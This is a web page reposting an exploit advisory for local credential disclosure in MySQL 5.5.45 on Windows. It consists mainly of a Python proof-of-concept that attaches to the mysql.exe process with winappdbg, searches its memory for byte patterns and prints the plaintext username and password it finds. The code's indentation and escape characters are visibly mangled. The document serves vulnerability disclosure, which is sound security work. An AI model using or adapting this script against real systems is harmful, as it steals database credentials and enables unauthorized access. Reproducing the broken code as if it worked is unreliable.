Home / os / winmobile

MySQL 5.5.45 64bit Local Credential Dislcosure

Posted on 07 September 2016

#####
# MySQL 5.5.45 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.mysql.com
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to the database.
# Proof-Of-Concept Code:
#####

import time
from winappdbg import Debug, Process

def b2h(str):
return ''.join(["%02X " % ord(x) for x in str]).strip()

def h2b(str):
bytes = []
str = ''.join(str.split(" "))

for i in range(0, len(str), 2):
bytes.append(chr(int(str[i:i+2], 16)))

return ''.join(bytes)

usr = ''
pwd = ''
count = 0
filename = "mysql.exe"
process_pid = 0
memory_dump = []
passwd = []

debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)

process = Process(process_pid)
for address in process.search_bytes('x00x6Dx79x73x71x6Cx00x2Dx75x00'):
memory_dump.append(process.read(address,30))
for i in range(len(memory_dump)):
str = b2h(memory_dump[i])
first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]
last = first.split(" 00 2D 70")
if last[0]:
usr = h2b(last[0])

memory_dump = []
for address in process.search_bytes('x00x80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00'):
memory_dump.append(process.read(address,100))
sorted(set(memory_dump))
for i in range(len(memory_dump)):
str = b2h(memory_dump[i])
string = str.split('00 8F')
for x in range(len(string)):
if x == 1:
passwd = string
try:
pwd = h2b(passwd[1].split('00 00')[0])
except:
pass

print "[~] Trying to extract credentials from memory.."
time.sleep(1)
if usr != '' and pwd != '':
print "[+] Credentials found!
----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
else:
print "[-] Credentials not found!"
else:
print "[-] No process found with name '%s'" % (filename)

debug.loop()
finally:
debug.stop()

 

TOP